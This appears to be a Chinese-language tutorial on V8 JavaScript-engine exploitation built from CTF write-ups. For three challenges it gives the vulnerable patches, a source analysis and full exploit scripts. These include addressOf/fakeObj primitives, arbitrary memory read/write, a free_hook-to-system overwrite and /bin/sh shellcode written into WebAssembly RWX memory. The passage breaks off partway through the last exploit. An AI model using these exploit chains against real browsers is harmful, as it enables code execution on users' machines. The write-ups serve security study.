前置知识
JS Object 相关
V8 中的对象表示 ==> 基础的文章,建议先看看
V8 exploitation base ==> 一个大总结,其实基础知识看这个就好了
JavaScript 引擎基础:Shapes 和 Inline Caches ==> 简单易懂,图很形象
v8官方文章 - 解析 property ==> 主要解析了对象内属性、快属性、慢属性的存储
V8、Chrome、Node.js ==> 这是一系列的文章,很多,读者可以自行选择阅读
Ignition 相关
JIT - turboFan 相关
笔者建议先看一遍官方文档
part2 => 比较详细,但是很抽象
TurboFan => 比较粗略,但能有一个大概的认识
官方博客
tturbolizer
在线使用网站:
https://v8.github.io/tools/head/turbolizer/index.html
基本 OOB
starCTF2019 OOB【越界读写map字段】
环境搭建
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply oob.diff
gclient sync -D # 别忘了 gclient sync 同步一下
漏洞分析
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
为数组实现了一个内置的 oob
函数,这里存在越界读写,其功能如下:
let arr = [];
arr.oob() ==> arr[arr.length];
arr.oob(value) ==> arr[arr.length] = value;
而需要注意的是内部是把该数组当作一个 double
类型的数组进行的读写操作:
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements())
漏洞利用
这里主要就是利用越界读写去读取map
并修改map
造成类型混淆从而实现任意地址读写
exp.js
如下:
let debug = (o) => {
%DebugPrint(o);
%SystemBreak();
};
let hexx = (str, num) => {
print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
};
var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);
function d2l(num)
{
d[0] = num;
return l[0];
}
function l2d(num)
{
l[0] = num;
return d[0];
}
var tmp = [1, 2];
var float_arr = [1.1, 1.2];
var obj_arr = [tmp, float_arr];
var float_map = d2l(float_arr.oob());
var obj_map = d2l(obj_arr.oob());
hexx("float_map", float_map);
hexx("obj_map", obj_map);
function addressOf(obj)
{
obj_arr[0] = obj;
obj_arr.oob(l2d(float_map));
let obj_addr = d2l(obj_arr[0]) - 1n;
obj_arr.oob(l2d(obj_map));
return obj_addr;
}
function fakeObj(addr)
{
float_arr[0] = l2d(addr+1n);
float_arr.oob(l2d(obj_map));
let fake_obj = float_arr[0];
float_arr.oob(l2d(float_map));
return fake_obj;
}
var fake_obj_arr = [l2d(float_map), 0, 52.1, l2d(0x200000000n)];
var fake_obj_arr_addr = addressOf(fake_obj_arr);
var fake_obj_addr = fake_obj_arr_addr - 0x20n;
hexx("fake_obj_arr_addr", fake_obj_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);
var fake_obj = fakeObj(fake_obj_addr);
function arb_read(addr)
{
fake_obj_arr[2] = l2d(addr+1n-0x10n);
return d2l(fake_obj[0]) - 1n;
}
function arb_write_fake(addr, value)
{
fake_obj_arr[2] = l2d(addr+1n-0x10n);
fake_obj[0] = l2d(value);
}
var tmp_buf = new ArrayBuffer(0x20);
var arb_write_buf = new DataView(tmp_buf);
var arb_write_buf_addr = addressOf(arb_write_buf);
var arb_write_buf_buf_addr = arb_read(arb_write_buf_addr+0x18n);
var backing_store_addr = arb_write_buf_buf_addr+0x20n;
var backing_store = arb_read(arb_write_buf_buf_addr+0x20n);
hexx("arb_write_buf_addr", arb_write_buf_addr);
hexx("arb_write_buf_buf_addr", arb_write_buf_buf_addr);
hexx("backing_store_addr", backing_store_addr);
hexx("backing_store", backing_store);
let exp_hook = () => {
function get_shell(){
var shell_str = new String("/bin/sh\0");
}
var tmp_addr = addressOf(tmp);
var tmp_map = arb_read(tmp_addr);
var tmp_construct_addr = arb_read(tmp_map+0x20n);
var tmp_code_addr = arb_read(tmp_construct_addr+0x30n);
var text_addr = arb_read(tmp_code_addr+0x2n+0x40n) + 1n;
var text_base = text_addr - 0x94f780n;
var malloc_got = text_base + 0x12AA9E0n - 0x679000n;
var libc_base = arb_read(malloc_got) + 1n - 0x780e0n;
var system = libc_base + 0x30290n;
var free_hook = libc_base + 0x1cce48n;
hexx("tmp_addr", tmp_addr);
hexx("tmp_map", tmp_map);
hexx("tmp_construct_addr", tmp_construct_addr);
hexx("tmp_code_addr", tmp_code_addr);
hexx("text_addr", text_addr);
hexx("text_base", text_base);
hexx("malloc_got", malloc_got);
hexx("libc_base", libc_base);
hexx("system_addr", system);
hexx("free_hook", free_hook);
arb_write_fake(backing_store_addr, free_hook);
arb_write_buf.setFloat64(0, l2d(system), true);
//arb_write_fake(backing_store_addr, backing_store);
//arb_write_buf.setFloat64(0, l2d(0x68732f6e69622fn), true);
get_shell();
}
let exp_wasm = () => {
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasm_instance.exports.main;
var wasm_instance_addr = addressOf(wasm_instance);
var func_addr = addressOf(func);
var rwx_addr = arb_read(wasm_instance_addr+0x88n) + 1n;
hexx("func_addr", func_addr);
hexx("wasm_instance_addr", wasm_instance_addr);
hexx("rwx_addr", rwx_addr);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
arb_write_fake(backing_store_addr, rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
arb_write_buf.setFloat64(i*8, l2d(shellcode[i]), true);
}
func();
}
exp_hook();
//exp_wasm();
//debug(tmp);
xnuca2020-babyV8【越界写,存在指针压缩】
环境搭建
git checkout 8.6.358
gclient sync -D
漏洞分析
diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
[&](TNode<Object> arg) {
TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
arg);
- Increment(&var_length);
+ Increment(&var_length, 3);
},
first);
{
定位到源码,通过注释并结合函数名大概就可以知道这个函数在干嘛了:
// Consumes args into the array, and returns tagged new length.
TNode<Smi> BuildAppendJSArray(ElementsKind kind, TNode<JSArray> array,
CodeStubArguments* args,
TVariable<IntPtrT>* arg_index, Label* bailout);
TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
TNode<JSArray> array,
CodeStubArguments* args,
TVariable<IntPtrT>* arg_index,
Label* bailout) {
Comment("BuildAppendJSArray: ", ElementsKindToString(kind));
Label pre_bailout(this);
Label success(this);
TVARIABLE(Smi, var_tagged_length);
TVARIABLE(BInt, var_length, SmiToBInt(LoadFastJSArrayLength(array))); // var_length = array.length
TVARIABLE(FixedArrayBase, var_elements, LoadElements(array)); // var_elements = array.elements
// Resize the capacity of the fixed array if it doesn't fit.
// 如果 fixed array (其实就是 elements) 大小不适合,则调整数组容量
TNode<IntPtrT> first = arg_index->value();
TNode<BInt> growth = IntPtrToBInt(IntPtrSub(args->GetLength(), first));
PossiblyGrowElementsCapacity(kind, array, var_length.value(), &var_elements, growth, &pre_bailout);
// Push each argument onto the end of the array now that there is enough capacity.
// 有了足够的容量后,开始 push args 进数组
CodeStubAssembler::VariableList push_vars({&var_length}, zone());
TNode<FixedArrayBase> elements = var_elements.value(); // elements = array.elements
// 开始循环 push
args->ForEach(
push_vars,
[&](TNode<Object> arg) {
// 将 arg 存储到 elements 中
// 这里的 var_length.value() 是 index, arg 是 value
// 即 array[index] = value
TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(), arg);
// 这里每次将 var_length 加 3
// Increment(&var_length);
Increment(&var_length, 3);
},
first);
{
// 设置 length = var_length.value()
TNode<Smi> length = BIntToSmi(var_length.value());
var_tagged_length = length;
// 修改 array.length = var_length.value()
StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
Goto(&success);
}
BIND(&pre_bailout);
{
TNode<Smi> length = ParameterToTagged(var_length.value());
var_tagged_length = length;
TNode<Smi> diff = SmiSub(length, LoadFastJSArrayLength(array));
StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
*arg_index = IntPtrAdd(arg_index->value(), SmiUntag(diff));
Goto(bailout);
}
BIND(&success);
// 返回最后的数组大小 array.length
return var_tagged_length.value();
}
其实在做题的时候,对于一些源码的功能都是连菜带懵的
可以看到这里主要就是将 Increment(&var_length);
修改为了 Increment(&var_length, 3);
,而 Increment(&var_length);
其实就是 Increment(&var_length, 1);
。
通过询问 chatgpt
可以知道这个函数的功能为向 JSArray
对象中添加元素,然后查阅文档可知向 JSArray
对象中添加元素的操作为 push
,所以这里其实就可以确定如何去触发该函数了,就是通过 arr.push()
arr.push()
的返回值是最后数组中元素的个数,所以从CodeStubAssembler::BuildAppendJSArray
的返回值也可以进一步确认其为arr.push
的内部实现
当然,这里也可以继续往上查找,也可以确认这就是 Array.prototype.push
的实现:
TF_BUILTIN(ArrayPrototypePush, CodeStubAssembler) {
......
BIND(&object_push);
{
Node* new_length = BuildAppendJSArray(PACKED_ELEMENTS, array_receiver,
&args, &arg_index, &default_label);
args.PopAndReturn(new_length);
}
BIND(&double_push);
{
Node* new_length =
BuildAppendJSArray(PACKED_DOUBLE_ELEMENTS, array_receiver, &args,
&arg_index, &double_transition);
args.PopAndReturn(new_length);
}
......
并且最后返回的是数组最后的长度 var_tagged_length.value();
,而该值在如下代码被修改:
TNode<Smi> length = BIntToSmi(var_length.value());
var_tagged_length = length;
StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
所以 var_length
其实就是最后数组的长度,并且 StoreObjectFieldNoWriteBarrier
会修改 array.length = length
,那么这里也就可以理解这个漏洞了:
//Increment(&var_length);
Increment(&var_length, 3);
从函数名就可以看出这里的 Increment
是加操作,所以这里就相当于每次 push
一个将数就将 var_length
的值加 3,那么这里可能就会存在越界
这里为啥说是可能存在越界,而不是一定会越界呢?这是因为v8在调整 elements
大小时,分配的空间大小不一定就等于元素的个数,如下示例:
V8 version 8.6.358
d8> var a = [1]
undefined
d8> a[2] = 3
3
d8> %DebugPrint(a)
DebugPrint: 0x19408088119: [JSArray]
- map: 0x0194082438dd <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x01940820b351 <JSArray[0]>
- elements: 0x0194080897f1 <FixedArray[20]> [HOLEY_SMI_ELEMENTS]
- length: 3
- properties: 0x0194080426e5 <FixedArray[0]> {
0x19408044651: [String] in ReadOnlySpace: #length: 0x019408182161 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0194080897f1 <FixedArray[20]> {
0: 1
1: 0x019408042381 <the_hole>
2: 3
3-19: 0x019408042381 <the_hole>
}
可以看到这里的 length
等于3,可以 elements
却是 FixedArray[20]
,所以就算你这里的 length
被加3了,3+3=6<20,这对于漏洞利用来说是没有作用的。
漏洞利用
//let debug = (o) => {
// %DebugPrint(o);
// %SystemBreak();
//};
function hexx(str, value)
{
print("\033[32m[+]"+str+": \033[0m0x"+value.toString(16));
}
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
function d2l(x)
{
d_buf[0] = x;
return l_buf[0];
}
function l2d(x)
{
l_buf[0] = x;
return d_buf[0];
}
var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var oob = [1];
oob[1] = 1.1;
var map_and_len = d2l(arr[36]);
hexx("map_and_len", map_and_len);
arr[36] = l2d((map_and_len&0xffffffffn)|0x100000000000n);
var victim = new ArrayBuffer(0x2024);
var arb_buf = new DataView(victim);
var backing_store_index = -1;
for (let i = 0; i < 2048; i++) {
if (d2l(oob[i]) === 0x2024n) {
backing_store_index = i + 1;
break;
}
}
if (backing_store_index === -1) {
throw "FAILED to hit ArrayBuffer";
}
hexx("backing_store_index", backing_store_index);
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var wasm_instance_index = -1;
var tmp = [wasm_instance, 0x290098a];
for (let i = 0; i < 2048; i++) {
let v = d2l(oob[i]);
if (((v & 0xffffffff00000000n) === 0x520131400000000n) && ((v & 0xffffffffn) != 0)){
// hexx("d2l(oob[i])", d2l(oob[i]));
wasm_instance_index = i;
break;
}
}
if (wasm_instance_index === -1) {
throw "FAILED to WasmInstance";
}
hexx("wasm_instance_index", wasm_instance_index);
var wasm_instance_addr = d2l(oob[wasm_instance_index])&0xffffffffn;
hexx("wasm_instance_addr", wasm_instance_addr);
arr[36] = l2d((wasm_instance_addr)|0x100000000000n);
var rwx_addr = d2l(oob[12]);
hexx("rwx_addr", rwx_addr);
arr[36] = l2d((map_and_len&0xffffffffn)|0x100000000000n);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
oob[backing_store_index] = l2d(rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
arb_buf.setBigInt64(i*8, shellcode[i], true);
}
pwn();
//%DebugPrint(victim);
//debug(oob);
CallBack 导致的 OOB
这里的 CallBack
我的理解是可以在 javascript
和 引擎层面同时操作同一对象导致的验证失败:
希望师傅们可以好好理解一下下面这张图片
数字经济线下 Browser【Object::toNumber中callback导致的越界写】
环境搭建
git reset --hard 0ec93e047216979431bd6f147ab5956bb729afa2
gclient sync -D
git apply ../diff.patch
漏洞分析
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",
为数组实现了一个内置的 coin
函数,其功能如下:
let arr = [];
arr.coin(len, value); ==> if arr.length > 37 then arr[37] = value else nothing to do
这里看似不存在问题,但是回到源码:
BUILTIN(ArrayCoin) {
// 获取参数个数 len
uint32_t len = args.length();
// 参数个数得为3个,其中第0个为this指针是默认的,所以其实只需要传入两个参数
if (len != 3) {
return ReadOnlyRoots(isolate).undefined_value();
}
// 利用 Object::ToObject 将 args.receiver() 转换为 JSReceiver
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));
// 将 receiver 转换为 JSArray
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
// 获取 array.elements,注意这里把 elements 当作 FixedDoubleArray 在处理
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
Handle<Object> value;
Handle<Object> length;
// 利用 Object::ToNumber 将参数转换为 Number,当传入的参数为对象时,会回调到 valueOf / toString 函数
// 第一个参数为 length;第二个参数为 value
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
// 获取数组 length,array_length = length
uint32_t array_length = static_cast<uint32_t>(array->length().Number());
if(37 < array_length){
// 如果数组长度 array_length 大于 37,则设置 array[37] = value
elements.set(37, value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
else{
// 直接返回 undefined
return ReadOnlyRoots(isolate).undefined_value();
}
可以看到这里先把 array->elements
赋给了局部变量 elements
,然后对输入的 arg1/arg2
调用了 Object::ToNumber
方法将其转换为数字,而后面验证长度时取的是 array->length()
,这个是 array
本身存储的 length
。
问题就出在 Object::ToNumber
中,在传入的参数是对象时,在该函数中会回调用户函数 valueOf
,所以我们可以在 valueOf
中修改 array.length
,这时就可以绕过长度限制了,然后 elements.set(37, value->Number());
就会导致越界写。然后通过简单的内存布局可以利用越界写修改某个 array
的 length
去实现任意地址读写。
这里还是简单的分析一下 Object::ToNumber
的调用过程:
MaybeHandle<Object> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
// 如果传入的本身就是 Number[Smi or HeapNumber],则直接返回
if (input->IsNumber()) return input; // Shortcut.
// 若传入的不是 Number,则调用 ConvertToNumberOrNumeric 进行转换,注意这里的第三个参数是 Conversion::kToNumber
return ConvertToNumberOrNumeric(isolate, input, Conversion::kToNumber);
}
跟进 ConvertToNumberOrNumeric
函数:
MaybeHandle<Object> Object::ConvertToNumberOrNumeric(Isolate* isolate,
Handle<Object> input,
Conversion mode) {
while (true) {
// 如果 input 就是 Number[Smi or HeapNumber],则直接返回
if (input->IsNumber()) {
return input;
}
// 如果 input 是字符串,则调用 String::ToNumber 进行转换
if (input->IsString()) {
return String::ToNumber(isolate, Handle<String>::cast(input));
}
// 如果 input 是 Oddball,则调用 String::ToNumber 进行转换
if (input->IsOddball()) {
return Oddball::ToNumber(isolate, Handle<Oddball>::cast(input));
}
// 如果 input 是 Symbol,则直接抛出异常
if (input->IsSymbol()) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber),
Object);
}
// 如果 input 是 BigInt,则直接抛出异常;因为 mode === Conversion::kToNumber
if (input->IsBigInt()) {
if (mode == Conversion::kToNumeric) return input;
DCHECK_EQ(mode, Conversion::kToNumber);
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber),
Object);
}
// 最后如果是对象,则调用 JSReceiver::ToPrimitive 进行转换;这里的第二个参数为 ToPrimitiveHint::kNumber
ASSIGN_RETURN_ON_EXCEPTION(
isolate, input, JSReceiver::ToPrimitive(Handle<JSReceiver>::cast(input),
ToPrimitiveHint::kNumber),
Object);
}
}
跟进 JSReceiver::ToPrimitive
函数:
MaybeHandle<Object> JSReceiver::ToPrimitive(Handle<JSReceiver> receiver,
ToPrimitiveHint hint) {
Isolate* const isolate = receiver->GetIsolate();
Handle<Object> exotic_to_prim;
// 获取 Symbol.toPrimitive 方法并保存在 exotic_to_prim 中
ASSIGN_RETURN_ON_EXCEPTION(
isolate, exotic_to_prim,
GetMethod(receiver, isolate->factory()->to_primitive_symbol()), Object);
// 如果 exotic_to_prim 不是未定义的,则进行相关操作进行转换
if (!exotic_to_prim->IsUndefined(isolate)) {
// 跟踪一下可以知道 hint_string = ”Number"
Handle<Object> hint_string =
isolate->factory()->ToPrimitiveHintString(hint);
Handle<Object> result;
// 调用 exotic_to_prim 函数进行转换
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string),
Object);
// 转换成功则返回,否则则抛出异常
if (result->IsPrimitive()) return result;
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
Object);
}
// 如果没有定义 Symbol.toPrimitive,则调用 OrdinaryToPrimitive 函数进行转换
return OrdinaryToPrimitive(receiver, (hint == ToPrimitiveHint::kString)
? OrdinaryToPrimitiveHint::kString
: OrdinaryToPrimitiveHint::kNumber);
}
跟进 OrdinaryToPrimitive
函数:
MaybeHandle<Object> JSReceiver::OrdinaryToPrimitive(
Handle<JSReceiver> receiver, OrdinaryToPrimitiveHint hint) {
Isolate* const isolate = receiver->GetIsolate();
Handle<String> method_names[2];
// 这里的 hint = OrdinaryToPrimitiveHint::kNumber
switch (hint) {
case OrdinaryToPrimitiveHint::kNumber:
// 这里就是单纯的保存了 valueOf 和 toString 这两个字符串
// 对于转换为 Number 而言,是先调用 valueOf,再调用 toString
method_names[0] = isolate->factory()->valueOf_string();
method_names[1] = isolate->factory()->toString_string();
break;
case OrdinaryToPrimitiveHint::kString:
// 对于转换为 String 而言,是先调用 toString,再调用 valueOf
method_names[0] = isolate->factory()->toString_string();
method_names[1] = isolate->factory()->valueOf_string();
break;
}
for (Handle<String> name : method_names) {
Handle<Object> method;
// 获取对应的方法
ASSIGN_RETURN_ON_EXCEPTION(isolate, method,
JSReceiver::GetProperty(isolate, receiver, name),
Object);
if (method->IsCallable()) {
// 进行转换
Handle<Object> result;
// 这里就是调用 valueOf(toString)函数
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, method, receiver, 0, nullptr), Object);
// 转换成功,直接返回
if (result->IsPrimitive()) return result;
}
}
// 转换失败,抛出异常
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
Object);
}
通过分析 Object::ToNumber
,可以知道当传入一个对象时:
1)先调用 [Symbol.toPrimitive]
函数,如果成功调用但是转换失败则直接抛出异常
2)如果没有定义 [Symbol.toPrimitive]
函数,则调用 vaueOf
函数
3)如果2)失败,则调用 toString
所以这里我们可以利用 [Symbol.toPrimitive]
、valueOf
、toString
这三个函数完成利用,这里 exp
使用的是 valueOf
函数。写个 demo
测试一下:
let obj = {
[Symbol.toPrimitive](hint) {
switch (hint) {
case 'number':
return 123;
case 'string':
return 'str';
case 'default':
return 'default';
default:
throw new Error();
}
},
valueOf() {
return 456;
}
};
console.log(Number(obj));
// 输出:
// 123
// 如果这里把 Symbol.toPrimitive 中的 return 123; 改为 [],即
let obj = {
[Symbol.toPrimitive](hint) {
switch (hint) {
case 'number':
return [];
case 'string':
return 'str';
case 'default':
return 'default';
default:
throw new Error();
}
},
valueOf() {
return 456;
}
};
console.log(Number(obj));
// 输出:
/*
demo.js:18: TypeError: Cannot convert object to primitive value
console.log(Number(obj));
^
TypeError: Cannot convert object to primitive value
at Number (<anonymous>)
at demo.js:18:13
*/
// 这里直接抛出异常
// 这里把 Symbol.toPrimitive 函数删除,测试 valueOf 和 toString
let obj = {
valueOf() {
return 456;
},
toString() {
return 789;
}
};
console.log(Number(obj));
// 输出:
// 456
// 如果这里把 valueOf 中的 return 123; 改为 [],即
let obj = {
valueOf() {
return [];
},
toString() {
return 789;
}
};
console.log(Number(obj));
// 输出:
// 789
可以看到这里确实是先调用的 [Symbol.toPrimitive]
函数,并且如果 [Symbol.toPrimitive]
函数转换失败则直接抛出异常。而对于 valueOf
和 toString
对于转换为数字而言其先调用的 valueOf
,并且当 valueOf
转换失败后,并没有直接抛出异常,而是调用 toString
函数进行转换。所以这里的测试结果跟上面分析的源码是完全吻合的。
这里得吐槽一下,我看网上很多 wp 都说是在 JSReceiver::ToPrimitive 函数中通过 GetMethod 调用的 valueOf,也就是调用 exotic_to_prim 哪里。但是这里其实获取的是 Symbol.toPrimitive 方法,真正调用 valueOf 的函数是 OrdinaryToPrimitive。所以真的不能人云亦云,还是得自己好好分析源码。
漏洞利用
//let debug = (o) => {
// %DebugPrint(o);
// %SystemBreak();
//};
function hexx(str, value)
{
print("\033[32m[+]"+ str+": \033[0m0x"+value.toString(16));
}
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
function d2l(x)
{
d_buf[0] = x;
return l_buf[0];
}
function l2d(x)
{
l_buf[0] = x;
return d_buf[0];
}
var x = {
valueOf:function(){
oob.length = 0x100;
return 2.1729236899484e-311;
}
}
let oob = [1.1, 1.2, 1.3, 1.4];
let mm1 = [1.1, 1.2, 1.3, 1.4, 1.1, 1.1, 1.1, 1.1];
let mm2 = [1.1, 1.1, 1.1];
let arr = [1.1];
var arb_buf = new ArrayBuffer(0x100);
var arb = new DataView(arb_buf);
oob.coin(1, x);
if (arr[1023] == undefined)
{
